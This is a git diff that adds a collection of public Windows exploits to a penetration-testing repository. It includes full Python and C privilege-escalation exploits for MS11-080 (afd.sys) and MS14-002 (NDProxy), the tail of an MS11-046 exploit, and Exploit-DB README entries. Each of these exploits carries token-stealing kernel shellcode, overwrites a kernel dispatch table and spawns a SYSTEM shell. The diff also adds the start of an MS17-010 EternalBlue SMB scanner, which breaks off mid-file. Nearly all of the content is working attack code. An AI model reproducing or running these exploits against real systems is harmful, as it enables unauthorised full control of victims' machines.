&lpBytesReturned, NULL+ ) == 0)+ {+ // https://msdn.microsoft.com/en-us/library/windows/desktop/ms679360(v=vs.85).aspx+ errorCode = GetLastError();+ // https://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx+ // in case of ERROR_INVALID_NETNAME+ if(errorCode == 1214)+ {+ // AFD socket connect request successful+ printf(" [+] Done\n");+ }+ // in case of ERROR_NOACCESS+ else if(errorCode == 998)+ {+ // AFD socket connect request unsuccessful - target is patched+ printf(" [!] Target patched\n");+ printf(" [*] Possible security patches\n");+ for(i = 0; i < securityPatchesCount; i++)+ printf(" [*] %s\n", securityPatchesPtr[i]);+ return -1;+ }+ // in case of any other error message+ else+ {+ // print the error code+ printf(" [-] Failed (error code: %d)\n", errorCode);+ return -1;+ }+ }+++ // elevate privileges of the current process+ printf(" [*] Elevating privileges to SYSTEM\n");+ ULONG outInterval = 0;+ // https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FProfile%2FNtQueryIntervalProfile.html+ NtQueryIntervalProfile(2, &outInterval);+ printf(" [+] Done\n");+++ // spawn shell (with elevated privileges)+ printf(" [*] Spawning shell\n");+ // spawn SYSTEM shell within the current shell (remote shell friendly)+ system ("c:\\windows\\system32\\cmd.exe /K cd c:\\windows\\system32");++ // clean up and exit+ printf("\n[*] Exiting SYSTEM shell\n");+ WSACleanup();+ return 1;+}++// EoFdiff --git a/Penetration Testing/exploits/windows/privs/MS11-046/ms11-046.exe b/Penetration Testing/exploits/windows/privs/MS11-046/ms11-046.exenew file mode 100755index 0000000..9e9747eBinary files /dev/null and b/Penetration Testing/exploits/windows/privs/MS11-046/ms11-046.exe differdiff --git a/Penetration Testing/exploits/windows/privs/MS11-080/README.md b/Penetration Testing/exploits/windows/privs/MS11-080/README.mdnew file mode 100644index 0000000..c9cb70e--- /dev/null+++ b/Penetration Testing/exploits/windows/privs/MS11-080/README.md@@ -0,0 +1,10 @@+Microsoft Windows XP/2003 - 'afd.sys' Privilege Escalation (MS11-080)+=====================================================================++EDB-ID: 18176</br>+Author: ryujin</br>+Published: 2011-11-30</br>+CVE: CVE-2011-2005</br>+Type: Local</br>+Platform: Windows</br>+Link: <https://www.exploit-db.com/exploits/18176/></br>diff --git a/Penetration Testing/exploits/windows/privs/MS11-080/ms11-080.exe b/Penetration Testing/exploits/windows/privs/MS11-080/ms11-080.exenew file mode 100644index 0000000..fa01373Binary files /dev/null and b/Penetration Testing/exploits/windows/privs/MS11-080/ms11-080.exe differdiff --git a/Penetration Testing/exploits/windows/privs/MS11-080/ms11-080.py b/Penetration Testing/exploits/windows/privs/MS11-080/ms11-080.pynew file mode 100644index 0000000..0a117eb--- /dev/null+++ b/Penetration Testing/exploits/windows/privs/MS11-080/ms11-080.py@@ -0,0 +1,268 @@+################################################################################+######### MS11-080 - CVE-2011-2005 Afd.sys Privilege Escalation Exploit ########+######### Author: [email protected] - Matteo Memelli ########+######### Spaghetti & Pwnsauce ########+######### yuck! 0xbaadf00d Elwood@mac&cheese.com ########+######### ########+######### Thx to dookie(lifesaver)2000ca, dijital1 and ronin ########+######### for helping out! ########+######### ########+######### To my Master Shifu muts: ########+######### "So that's it, I just need inner peace?" ;) ########+######### ########+######### Exploit tested on the following 32bits systems: ########+######### Win XPSP3 Eng, Win 2K3SP2 Standard/Enterprise Eng ########+################################################################################++from ctypes import (windll, CDLL, Structure, byref, sizeof, POINTER,+ c_char, c_short, c_ushort, c_int, c_uint, c_ulong,+ c_void_p, c_long, c_char_p)+from ctypes.wintypes import HANDLE, DWORD+import socket, time, os, struct, sys+from optparse import OptionParser++usage = "%prog -O TARGET_OS"+parser = OptionParser(usage=usage)+parser.add_option("-O", "--target-os", type="string",+ action="store", dest="target_os",+ help="Target OS. Accepted values: XP, 2K3")+(options, args) = parser.parse_args()+OS = options.target_os+if not OS or OS.upper() not in ['XP','2K3']:+ parser.print_help()+ sys.exit()+OS = OS.upper()++kernel32 = windll.kernel32+ntdll = windll.ntdll+Psapi = windll.Psapi++def findSysBase(drvname=None):+ ARRAY_SIZE = 1024+ myarray = c_ulong * ARRAY_SIZE+ lpImageBase = myarray()+ cb = c_int(1024)+ lpcbNeeded = c_long()+ drivername_size = c_long()+ drivername_size.value = 48+ Psapi.EnumDeviceDrivers(byref(lpImageBase), cb, byref(lpcbNeeded))+ for baseaddy in lpImageBase:+ drivername = c_char_p("\x00"*drivername_size.value)+ if baseaddy:+ Psapi.GetDeviceDriverBaseNameA(baseaddy, drivername,+ drivername_size.value)+ if drvname:+ if drivername.value.lower() == drvname:+ print "[+] Retrieving %s info..." % drvname+ print "[+] %s base address: %s" % (drvname, hex(baseaddy))+ return baseaddy+ else:+ if drivername.value.lower().find("krnl") !=-1:+ print "[+] Retrieving Kernel info..."+ print "[+] Kernel version:", drivername.value+ print "[+] Kernel base address: %s" % hex(baseaddy)+ return (baseaddy, drivername.value)+ return None++print "[>] MS11-080 Privilege Escalation Exploit"+print "[>] Matteo Memelli - [email protected]"+print "[>] Release Date 28/11/2011"++WSAGetLastError = windll.Ws2_32.WSAGetLastError+WSAGetLastError.argtypes = ()+WSAGetLastError.restype = c_int+SOCKET = c_int+WSASocket = windll.Ws2_32.WSASocketA+WSASocket.argtypes = (c_int, c_int, c_int, c_void_p, c_uint, DWORD)+WSASocket.restype = SOCKET+closesocket = windll.Ws2_32.closesocket+closesocket.argtypes = (SOCKET,)+closesocket.restype = c_int+connect = windll.Ws2_32.connect+connect.argtypes = (SOCKET, c_void_p, c_int)+connect.restype = c_int++class sockaddr_in(Structure):+ _fields_ = [+ ("sin_family", c_short),+ ("sin_port", c_ushort),+ ("sin_addr", c_ulong),+ ("sin_zero", c_char * 8),+ ]++## Create our deviceiocontrol socket handle+client = WSASocket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP,+ None, 0, 0)+if client == ~0:+ raise OSError, "WSASocket: %s" % (WSAGetLastError(),)+try:+ addr = sockaddr_in()+ addr.sin_family = socket.AF_INET+ addr.sin_port = socket.htons(4455)+ addr.sin_addr = socket.htonl(0x7f000001) # 127.0.0.1+ ## We need to connect to a closed port, socket state must be CONNECTING+ connect(client, byref(addr), sizeof(addr))+except:+ closesocket(client)+ raise++baseadd = c_int(0x1001)+MEMRES = (0x1000 | 0x2000)+PAGEEXE = 0x00000040+Zerobits = c_int(0)+RegionSize = c_int(0x1000)+written = c_int(0)+## This will trigger the path to AfdRestartJoin+irpstuff = ("\x41\x41\x41\x41\x42\x42\x42\x42"+ "\x00\x00\x00\x00\x44\x44\x44\x44"+ "\x01\x00\x00\x00"+ "\xe8\x00" + "4" + "\xf0\x00" + "\x45"*231)+## Allocate space for the input buffer+dwStatus = ntdll.NtAllocateVirtualMemory(-1,+ byref(baseadd),+ 0x0,+ byref(RegionSize),+ MEMRES,+ PAGEEXE)+# Copy input buffer to it+kernel32.WriteProcessMemory(-1, 0x1000, irpstuff, 0x100, byref(written))+startPage = c_int(0x00020000)+kernel32.VirtualProtect(startPage, 0x1000, PAGEEXE, byref(written))+################################# KERNEL INFO ##################################+lpDriver = c_char_p()+lpPath = c_char_p()+lpDrvAddress = c_long()+(krnlbase, kernelver) = findSysBase()+hKernel = kernel32.LoadLibraryExA(kernelver, 0, 1)+HalDispatchTable = kernel32.GetProcAddress(hKernel, "HalDispatchTable")+HalDispatchTable -= hKernel+HalDispatchTable += krnlbase+print "[+] HalDispatchTable address:", hex(HalDispatchTable)+halbase = findSysBase("hal.dll")+## WinXP SP3+if OS == "XP":+ HaliQuerySystemInformation = halbase+0x16bba # Offset for XPSP3+ HalpSetSystemInformation = halbase+0x19436 # Offset for XPSP3+## Win2k3 SP2+else:+ HaliQuerySystemInformation = halbase+0x1fa1e # Offset for WIN2K3+ HalpSetSystemInformation = halbase+0x21c60 # Offset for WIN2K3+print "[+] HaliQuerySystemInformation address:", hex(HaliQuerySystemInformation)+print "[+] HalpSetSystemInformation address:", hex(HalpSetSystemInformation)++################################# EXPLOITATION #################################+shellcode_address_dep = 0x0002071e+shellcode_address_nodep = 0x000207b8+padding = "\x90"*2+HalDispatchTable0x4 = HalDispatchTable + 0x4+HalDispatchTable0x8 = HalDispatchTable + 0x8+## tokenbkaddr = 0x00020900+if OS == "XP":+ _KPROCESS = "\x44"+ _TOKEN = "\xc8"+ _UPID = "\x84"+ _APLINKS = "\x88"+else:+ _KPROCESS = "\x38"+ _TOKEN = "\xd8"+ _UPID = "\x94"+ _APLINKS = "\x98"++restore_ptrs = "\x31\xc0" + \+ "\xb8" + struct.pack("L", HalpSetSystemInformation) + \+ "\xa3" + struct.pack("L", HalDispatchTable0x8) + \+ "\xb8" + struct.pack("L", HaliQuerySystemInformation) + \+ "\xa3" + struct.pack("L", HalDispatchTable0x4)+tokenstealing = "\x52" +\+ "\x53" +\+ "\x33\xc0" +\+ "\x64\x8b\x80\x24\x01\x00\x00" +\+ "\x8b\x40" + _KPROCESS +\+ "\x8b\xc8" +\+ "\x8b\x98" + _TOKEN + "\x00\x00\x00" +\+ "\x89\x1d\x00\x09\x02\x00" +\+ "\x8b\x80" + _APLINKS + "\x00\x00\x00" +\+ "\x81\xe8" + _APLINKS + "\x00\x00\x00" +\+ "\x81\xb8" + _UPID + "\x00\x00\x00\x04\x00\x00\x00" +\+ "\x75\xe8" +\+ "\x8b\x90" + _TOKEN + "\x00\x00\x00" +\+ "\x8b\xc1" +\+ "\x89\x90" + _TOKEN + "\x00\x00\x00" +\+ "\x5b" +\+ "\x5a" +\+ "\xc2\x10"+restore_token = "\x52" +\+ "\x33\xc0" +\+ "\x64\x8b\x80\x24\x01\x00\x00" +\+ "\x8b\x40" + _KPROCESS +\+ "\x8b\x15\x00\x09\x02\x00" +\+ "\x89\x90" + _TOKEN + "\x00\x00\x00" +\+ "\x5a" +\+ "\xc2\x10"++shellcode = padding + restore_ptrs + tokenstealing+shellcode_size = len(shellcode)+orig_size = shellcode_size+# Write shellcode in userspace (dep)+kernel32.WriteProcessMemory(-1, shellcode_address_dep, shellcode,+ shellcode_size, byref(written))+# Write shellcode in userspace *(nodep)+kernel32.WriteProcessMemory(-1, shellcode_address_nodep, shellcode,+ shellcode_size, byref(written))+## Trigger Pointer Overwrite+print "[*] Triggering AFDJoinLeaf pointer overwrite..."+IOCTL = 0x000120bb # AFDJoinLeaf+inputbuffer = 0x1004+inputbuffer_size = 0x108+outputbuffer_size = 0x0 # Bypass Probe for Write+outputbuffer = HalDispatchTable0x4 + 0x1 # HalDispatchTable+0x4+1+IoStatusBlock = c_ulong()+NTSTATUS = ntdll.ZwDeviceIoControlFile(client,+ None,+ None,+ None,+ byref(IoStatusBlock),+ IOCTL,+ inputbuffer,+ inputbuffer_size,+ outputbuffer,+ outputbuffer_size+ )+## Trigger shellcode+inp = c_ulong()+out = c_ulong()+inp = 0x1337+hola = ntdll.NtQueryIntervalProfile(inp, byref(out))+## Spawn a system shell, w00t!+print "[*] Spawning a SYSTEM shell..."+os.system("cmd.exe /T:C0 /K cd c:\\windows\\system32")++############################## POST EXPLOITATION ###############################+print "[*] Restoring token..."+## Restore the thingie+shellcode = padding + restore_ptrs + restore_token+shellcode_size = len(shellcode)+trail_padding = (orig_size - shellcode_size) * "\x00"+shellcode += trail_padding+shellcode_size += (orig_size - shellcode_size)+## Write restore shellcode in userspace (dep)+kernel32.WriteProcessMemory(-1, shellcode_address_dep, shellcode,+ shellcode_size, byref(written))+## Write restore shellcode in userspace (nodep)+kernel32.WriteProcessMemory(-1, shellcode_address_nodep, shellcode,+ shellcode_size, byref(written))+## Overwrite HalDispatchTable once again+NTSTATUS = ntdll.ZwDeviceIoControlFile(client,+ None,+ None,+ None,+ byref(IoStatusBlock),+ IOCTL,+ inputbuffer,+ inputbuffer_size,+ outputbuffer,+ outputbuffer_size+ )+## Trigger restore shellcode+hola = ntdll.NtQueryIntervalProfile(inp, byref(out))+print "[+] Restore done! Have a nice day :)"\ No newline at end of filediff --git a/Penetration Testing/exploits/windows/privs/MS14-002/README.md b/Penetration Testing/exploits/windows/privs/MS14-002/README.mdnew file mode 100644index 0000000..97e4d4c--- /dev/null+++ b/Penetration Testing/exploits/windows/privs/MS14-002/README.md@@ -0,0 +1,30 @@+Microsoft Windows - 'NDPROXY' SYSTEM Privilege Escalation (MS14-002)+====================================================================++- Python version</br>++EDB-ID: 30014</br>+Author: ryujin</br>+Published: 2013-12-03</br>+CVE: CVE-2013-5065</br>+Type: Local</br>+Platform: Windows</br>+Website: <https://www.offensive-security.com/vulndev/ndproxy-local-system-exploit-cve-2013-5065/></br>+Link: <https://www.exploit-db.com/exploits/30014/></br>+</br>++- C version</br>++EDB-ID: 37732</br>+Author: Tomislav Paskalev</br>+Published: 2015-08-07</br>+CVE: CVE-2013-5065</br>+Type: Local</br>+Platform: Windows x86</br>+Link: <https://www.exploit-db.com/exploits/37732/></br>+</br>++- Compilation (Windows)</br>+Download: <http://www.pyinstaller.org/downloads.html></br>+Usage: python pyinstaller.py --onefile ms14-002.py</br>+diff --git a/Penetration Testing/exploits/windows/privs/MS14-002/ms14-002.c b/Penetration Testing/exploits/windows/privs/MS14-002/ms14-002.cnew file mode 100644index 0000000..f8a71c3--- /dev/null+++ b/Penetration Testing/exploits/windows/privs/MS14-002/ms14-002.c@@ -0,0 +1,216 @@+/*+################################################################+# Exploit Title: Windows NDProxy Privilege Escalation (MS14-002)+# Date: 2015-08-03+# Exploit Author: Tomislav Paskalev+# Vulnerable Software:+# Windows XP SP3 x86+# Windows XP SP2 x86-64+# Windows 2003 SP2 x86+# Windows 2003 SP2 x86-64+# Windows 2003 SP2 IA-64+# Supported vulnerable software:+# Windows XP SP3 x86+# Windows 2003 SP2 x86+# Tested on:+# Windows XP SP3 x86 EN+# Windows 2003 SP2 x86 EN+# CVE ID: 2013-5065+################################################################+# Vulnerability description:+# NDPROXY is a system-provided driver that interfaces WAN+# miniport drivers, call managers, and miniport call managers+# to the Telephony Application Programming Interfaces (TAPI)+# services.+# The vulnerability is caused when the NDProxy.sys kernel+# component fails to properly validate input.+# An attacker who successfully exploited this vulnerability+# could run arbitrary code in kernel mode (i.e. with SYSTEM+# privileges).+################################################################+# Exploit notes:+# Privileged shell execution:+# - the SYSTEM shell will spawn within the existing shell+# (i.e. exploit usable via a remote shell)+# Exploit compiling:+# - # i586-mingw32msvc-gcc MS14-002.c -o MS14-002.exe+# Exploit prerequisites:+# - low privilege access to the target (remote shell or RDP)+# - target not patched (KB2914368 not installed)+# - service "Routing and Remote Access" running on the target+# - "Power User" user group can start and stop services+# - > sc query remoteaccess+# - > sc start remoteaccess+################################################################+# Thanks to:+# Andy (C PoC - Win XP SP3)+# ryujin (Python PoC - Win XP SP3)+################################################################+# References:+# http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-5065+# https://technet.microsoft.com/en-us/library/security/ms14-002.aspx+# https://penturalabs.wordpress.com/2013/12/11/ndproxy-privilege-escalation-cve-2013-5065/+# https://www.exploit-db.com/exploits/30014/+# https://msdn.microsoft.com/en-us/library/windows/desktop/ms681674%28v=vs.85%29.aspx+# https://msdn.microsoft.com/en-us/library/windows/desktop/aa363858%28v=vs.85%29.aspx+# https://msdn.microsoft.com/en-us/library/windows/desktop/ms681381%28v=vs.85%29.aspx+# https://msdn.microsoft.com/en-us/library/windows/desktop/aa363216%28v=vs.85%29.aspx+################################################################+*/++#include <windows.h>+#include <stdio.h>+#include <stdlib.h>++++typedef struct {+ PVOID Unknown1;+ PVOID Unknown2;+ PVOID Base;+ ULONG Size;+ ULONG Flags;+ USHORT Index;+ USHORT NameLength;+ USHORT LoadCount;+ USHORT PathLength;+ CHAR ImageName[256];+} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;+++typedef struct {+ ULONG Count;+ SYSTEM_MODULE_INFORMATION_ENTRY Module[1];+} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;+++typedef enum _SYSTEM_INFORMATION_CLASS {+ SystemModuleInformation = 11,+ SystemHandleInformation = 16+} SYSTEM_INFORMATION_CLASS;+++typedef DWORD NTSTATUS;+NTSTATUS (WINAPI *_NtQuerySystemInformation) (SYSTEM_INFORMATION_CLASS SystemInformationClass,+ PVOID SystemInformation,+ ULONG SystemInformationLength,+ PULONG ReturnLength);++++static VOID InitFirstPage (void)+{+ PVOID BaseAddress;+ ULONG RegionSize;+ NTSTATUS ReturnCode;+ FARPROC NtAllocateVirtualMemory;++ NtAllocateVirtualMemory = GetProcAddress (GetModuleHandle ("NTDLL.DLL"), "NtAllocateVirtualMemory");++ fprintf (stderr, "[+] NtAllocateVirtualMemory@%p\n", NtAllocateVirtualMemory);+ RegionSize = 0xf000;+ BaseAddress = (PVOID) 0x00000001;+ ReturnCode = NtAllocateVirtualMemory (GetCurrentProcess (),+ &BaseAddress,+ 0,+ &RegionSize,+ MEM_COMMIT | MEM_RESERVE,+ PAGE_EXECUTE_READWRITE);+ if (ReturnCode != 0)+ {+ fprintf (stderr, "[-] NtAllocateVirtualMemory() failed to map first page\n");+ fprintf (stderr, " Error code: %#X\n", ReturnCode);+ fflush (stderr);+ ExitProcess (1);+ }+ fprintf (stderr, "[+] BaseAddress: %p, RegionSize: %#x\n", BaseAddress, RegionSize), fflush (stderr);+ FillMemory (BaseAddress, RegionSize, 0x41);+ return;+}++++int exploit (unsigned char *shellcode)+{+ DWORD writtenBytes;+ int returnValue;++ InitFirstPage ();++ unsigned char *shellcodeBuffer;+ shellcodeBuffer = (char *) malloc (400);+ memset (shellcodeBuffer, (int) "xCC", 400);+ memcpy (shellcodeBuffer, shellcode, 112);++ returnValue = WriteProcessMemory ((HANDLE) 0xFFFFFFFF, (LPVOID) 0x00000001, shellcodeBuffer, 0x400, &writtenBytes);+ if (returnValue == 0)+ {+ printf ("[-] Attempt to map memory_write failed\n");+ printf (" Error code: %d\n", GetLastError ());+ exit(1);+ }+ HANDLE ndProxyDeviceHandle = CreateFileA ("\\\\.\\NDProxy", 0, 0, NULL, OPEN_EXISTING, 0, NULL);+ if (ndProxyDeviceHandle == INVALID_HANDLE_VALUE)+ {+ printf ("[-] Creating a device handle on NDProxy failed\n");+ printf (" Error code: %d\n", GetLastError());+ exit (0);+ }+ DWORD inputBuffer [0x15] = {0};+ DWORD returnedBytes = 0;+ *(inputBuffer + 5) = 0x7030125;+ *(inputBuffer + 7) = 0x34;+ DeviceIoControl (ndProxyDeviceHandle, 0x8fff23cc, inputBuffer, 0x54, inputBuffer, 0x24, &returnedBytes, 0);+ CloseHandle (ndProxyDeviceHandle);+ system ("cmd.exe /T:C0 /K cd c:\\windows\\system32");+ return 0;+}++++int main (int argc, char **argv)+{+ if (argc != 2)+ {+ printf ("[*] Usage: %s OS_TYPE\n", argv[0]);+ printf (" supported OS_TYPE:\n");+ printf (" XP - Windows XP SP3 x86\n");+ printf (" 2k3 - Windows 2003 SP2 x86\n");+ printf ("[*] Note: the service \"Routing and Remote Access\"\n");+ printf (" must be running on the target machine\n");+ exit (0);+ }+ else+ {+ if ((strcmp (argv[1], "xp") == 0) || (strcmp (argv[1], "XP") == 0))+ {+ unsigned char shellcodeXP[] =+ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"+ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"+ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"+ "\x90\x90\x90\x90\x90\x90\x90\x90\x3C\x00\x00\x00\x90\x90\x90\x90"+ "\x90\x33\xC0\x64\x8B\x80\x24\x01\x00\x00\x8B\x40\x44\x8B\xC8\x8B"+ "\x80\x88\x00\x00\x00\x2D\x88\x00\x00\x00\x83\xB8\x84\x00\x00\x00"+ "\x04\x75\xEC\x8B\x90\xC8\x00\x00\x00\x89\x91\xC8\x00\x00\x00\xC3";+ exploit (shellcodeXP);+ }+ else if ((strcmp (argv[1], "2k3") == 0) || (strcmp (argv[1], "2K3") == 0))+ {+ unsigned char shellcode2k3[] =+ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"+ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"+ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"+ "\x90\x90\x90\x90\x90\x90\x90\x90\x3C\x00\x00\x00\x90\x90\x90\x90"+ "\x90\x33\xC0\x64\x8B\x80\x24\x01\x00\x00\x8B\x40\x38\x8B\xC8\x8B"+ "\x80\x98\x00\x00\x00\x2D\x98\x00\x00\x00\x83\xB8\x94\x00\x00\x00"+ "\x04\x75\xEC\x8B\x90\xD8\x00\x00\x00\x89\x91\xD8\x00\x00\x00\xC3";+ exploit (shellcode2k3);+ }+ else+ {+ printf ("[-] Invalid argument\n");+ printf (" Argument used: %s\n", argv[1]);+ exit(0);+ }+ }+}\ No newline at end of filediff --git a/Penetration Testing/exploits/windows/privs/MS14-002/ms14-002.exe b/Penetration Testing/exploits/windows/privs/MS14-002/ms14-002.exenew file mode 100644index 0000000..d1abf42Binary files /dev/null and b/Penetration Testing/exploits/windows/privs/MS14-002/ms14-002.exe differdiff --git a/Penetration Testing/exploits/windows/privs/MS14-002/ms14-002.py b/Penetration Testing/exploits/windows/privs/MS14-002/ms14-002.pynew file mode 100644index 0000000..aa6d726--- /dev/null+++ b/Penetration Testing/exploits/windows/privs/MS14-002/ms14-002.py@@ -0,0 +1,80 @@+# NDPROXY Local SYSTEM privilege escalation+# http://www.offensive-security.com+# Tested on Windows XP SP3+# http://www.offensive-security.com/vulndev/ndproxy-local-system-exploit-cve-2013-5065/+++# Original crash ... null pointer dereference+# Access violation - code c0000005 (!!! second chance !!!)+# 00000038 ?? ???++from ctypes import *+from ctypes.wintypes import *+import os, sys++kernel32 = windll.kernel32+ntdll = windll.ntdll++GENERIC_READ = 0x80000000+GENERIC_WRITE = 0x40000000+FILE_SHARE_READ = 0x00000001+FILE_SHARE_WRITE = 0x00000002+NULL = 0x0+OPEN_EXISTING = 0x3+PROCESS_VM_WRITE = 0x0020+PROCESS_VM_READ = 0x0010+MEM_COMMIT = 0x00001000+MEM_RESERVE = 0x00002000+MEM_FREE = 0x00010000+PAGE_EXECUTE_READWRITE = 0x00000040+PROCESS_ALL_ACCESS = 2097151+FORMAT_MESSAGE_FROM_SYSTEM = 0x00001000+baseadd = c_int(0x00000001)+MEMRES = (0x1000 | 0x2000)+MEM_DECOMMIT = 0x4000+PAGEEXE = 0x00000040+null_size = c_int(0x1000)+STATUS_SUCCESS = 0++def log(msg):+ print msg++def getLastError():+ """[-] Format GetLastError"""+ buf = create_string_buffer(2048)+ if kernel32.FormatMessageA(FORMAT_MESSAGE_FROM_SYSTEM, NULL,+ kernel32.GetLastError(), 0,+ buf, sizeof(buf), NULL):+ log(buf.value)+ else:+ log("[-] Unknown Error")++print "[*] Microsoft Windows NDProxy CVE-2013-5065 0day"+print "[*] Vulnerability found in the wild"+print "[*] Coded by Offensive Security"++tmp = ("\x00"*4)*5 + "\x25\x01\x03\x07" + "\x00"*4 + "\x34\x00\x00\x00" + "\x00"*(84-24)+InBuf = c_char_p(tmp)++dwStatus = ntdll.NtAllocateVirtualMemory(0xFFFFFFFF, byref(baseadd), 0x0, byref(null_size), MEMRES, PAGEEXE)+if dwStatus != STATUS_SUCCESS:+ print "[+] Something went wrong while allocating the null paged memory: %s" % dwStatus+ getLastError()+written = c_ulong()+sh = "\x90\x33\xC0\x64\x8B\x80\x24\x01\x00\x00\x8B\x40\x44\x8B\xC8\x8B\x80\x88\x00\x00\x00\x2D\x88\x00\x00\x00\x83\xB8\x84\x00\x00\x00\x04\x75\xEC\x8B\x90\xC8\x00\x00\x00\x89\x91\xC8\x00\x00\x00\xC3"+sc = "\x90"*0x38 + "\x3c\x00\x00\x00" + "\x90"*4 + sh + "\xcc"*(0x400-0x3c-4-len(sh))+alloc = kernel32.WriteProcessMemory(0xFFFFFFFF, 0x00000001, sc, 0x400, byref(written))+if alloc == 0:+ print "[+] Something went wrong while writing our junk to the null paged memory: %s" % alloc+ getLastError()++dwRetBytes = DWORD(0)+DEVICE_NAME = "\\\\.\\NDProxy"+hdev = kernel32.CreateFileA(DEVICE_NAME, 0, 0, None, OPEN_EXISTING , 0, None)+if hdev == -1:+ print "[-] Couldn't open the device... :("+ sys.exit()+kernel32.DeviceIoControl(hdev, 0x8fff23cc, InBuf, 0x54, InBuf, 0x24, byref(dwRetBytes), 0)+kernel32.CloseHandle(hdev)+print "[+] Spawning SYSTEM Shell..."+os.system("start /d \"C:\\windows\\system32\" cmd.exe")\ No newline at end of filediff --git a/Penetration Testing/exploits/windows/smb/MS17-010-EternalBlue/README.md b/Penetration Testing/exploits/windows/smb/MS17-010-EternalBlue/README.mdnew file mode 100644index 0000000..192d858--- /dev/null+++ b/Penetration Testing/exploits/windows/smb/MS17-010-EternalBlue/README.md@@ -0,0 +1,28 @@+Microsoft Windows 'EternalBlue' SMB Remote Code Execution (MS17-010)+====================================================================++- Windows 7/2008 R2 (x64)</br>++EDB-ID: 42031</br>+Author: sleepya</br>+Published: 2017-05-17</br>+CVE: CVE-2017-0144</br>+Type: Remote</br>+Platform: Windows x86 x64</br>+Link: <https://www.exploit-db.com/exploits/42031/></br>+</br>++- Windows 8/2012 R2 (x64)</br>++EDB-ID: 42030</br>+Author: sleepya</br>+Published: 2017-05-17</br>+CVE: CVE-2017-0144</br>+Type: Remote</br>+Platform: Windows x86 x64</br>+Link: <https://www.exploit-db.com/exploits/42030/></br>+</br>++- EternalBlue Scanner</br>+Author: nixawk+Link: <https://github.com/nixawk/labs/blob/master/MS17_010/smb_exploit.py></br>diff --git a/Penetration Testing/exploits/windows/smb/MS17-010-EternalBlue/eternalblue-scanner.py b/Penetration Testing/exploits/windows/smb/MS17-010-EternalBlue/eternalblue-scanner.pynew file mode 100644index 0000000..6000a22--- /dev/null+++ b/Penetration Testing/exploits/windows/smb/MS17-010-EternalBlue/eternalblue-scanner.py@@ -0,0 +1,436 @@+#!/usr/bin/python+# -*- coding: utf-8 -*-++"""+$ python2.7 smb_exploit.py 192.168.206.152+[+] [192.168.206.152] is likely VULNERABLE to MS17-010! (Windows 7 Ultimate 7600)+$ python2.7 smb_exploit.py 192.168.206.130+[+] [192.168.206.130] is likely VULNERABLE to MS17-010! (Windows 5.1)+"""++from ctypes import *+import socket+import struct+import logging+++logging.basicConfig(level=logging.INFO, format="%(message)s")+log = logging.getLogger(__file__)++# negotiate_proto_request+# session_setup_andx_request+# tree_connect_andx_request+# peeknamedpipe_request+# trans2 request+++class SMB_HEADER(Structure):+ """SMB Header decoder.+ """++ _pack_ = 1 # Alignment++ _fields_ = [+ ("server_component", c_uint32),+ ("smb_command", c_uint8),+ ("error_class", c_uint8),+ ("reserved1", c_uint8),+ ("error_code", c_uint16),+ ("flags", c_uint8),+ ("flags2", c_uint16),+ ("process_id_high", c_uint16),+ ("signature", c_uint64),+ ("reserved2", c_uint16),+ ("tree_id", c_uint16),+ ("process_id", c_uint16),+ ("user_id", c_uint16),+ ("multiplex_id", c_uint16)+ ]++ def __new__(self, buffer=None):+ return self.from_buffer_copy(buffer)++ def __init__(self, buffer):+ log.debug("server_component : %04x" % self.server_component)+ log.debug("smb_command : %01x" % self.smb_command)+ log.debug("error_class : %01x" % self.error_class)+ log.debug("error_code : %02x" % self.error_code)+ log.debug("flags : %01x" % self.flags)+ log.debug("flags2 : %02x" % self.flags2)+ log.debug("process_id_high : %02x" % self.process_id_high)+ log.debug("signature : %08x" % self.signature)+ log.debug("reserved2 : %02x" % self.reserved2)+ log.debug("tree_id : %02x" % self.tree_id)+ log.debug("process_id : %02x" % self.process_id)+ log.debug("user_id : %02x" % self.user_id)+ log.debug("multiplex_id : %02x" % self.multiplex_id)+++def generate_smb_proto_payload(*protos):+ """Generate SMB Protocol. Pakcet protos in order.+ """+ hexdata = []+ for proto in protos:+ hexdata.extend(proto)+ return "".join(hexdata)+++def calculate_doublepulsar_xor_key(s):+ """Calaculate Doublepulsar Xor Key+ """+ x = (2 * s ^ (((s & 0xff00 | (s << 16)) << 8) | (((s >> 16) | s & 0xff0000) >> 8)))+ x = x & 0xffffffff # this line was added just to truncate to 32 bits+ return x+++def negotiate_proto_request():+ """Generate a negotiate_proto_request packet.+ """+ log.debug("generate negotiate request")+ netbios = [+ '\x00', # 'Message_Type'+ '\x00\x00\x54' # 'Length'+ ]++ smb_header = [+ '\xFF\x53\x4D\x42', # 'server_component': .SMB+ '\x72', # 'smb_command': Negotiate Protocol+ '\x00\x00\x00\x00', # 'nt_status'+ '\x18', # 'flags'+ '\x01\x28', # 'flags2'+ '\x00\x00', # 'process_id_high'+ '\x00\x00\x00\x00\x00\x00\x00\x00', # 'signature'+ '\x00\x00', # 'reserved'+ '\x00\x00', # 'tree_id'+ '\x2F\x4B', # 'process_id'+ '\x00\x00', # 'user_id'+ '\xC5\x5E' # 'multiplex_id'+ ]++ negotiate_proto_request = [+ '\x00', # 'word_count'+ '\x31\x00', # 'byte_count'++ # Requested Dialects+ '\x02', # 'dialet_buffer_format'+ '\x4C\x41\x4E\x4D\x41\x4E\x31\x2E\x30\x00', # 'dialet_name': LANMAN1.0++ '\x02', # 'dialet_buffer_format'+ '\x4C\x4D\x31\x2E\x32\x58\x30\x30\x32\x00', # 'dialet_name': LM1.2X002++ '\x02', # 'dialet_buffer_format'+ '\x4E\x54\x20\x4C\x41\x4E\x4D\x41\x4E\x20\x31\x2E\x30\x00', # 'dialet_name3': NT LANMAN 1.0++ '\x02', # 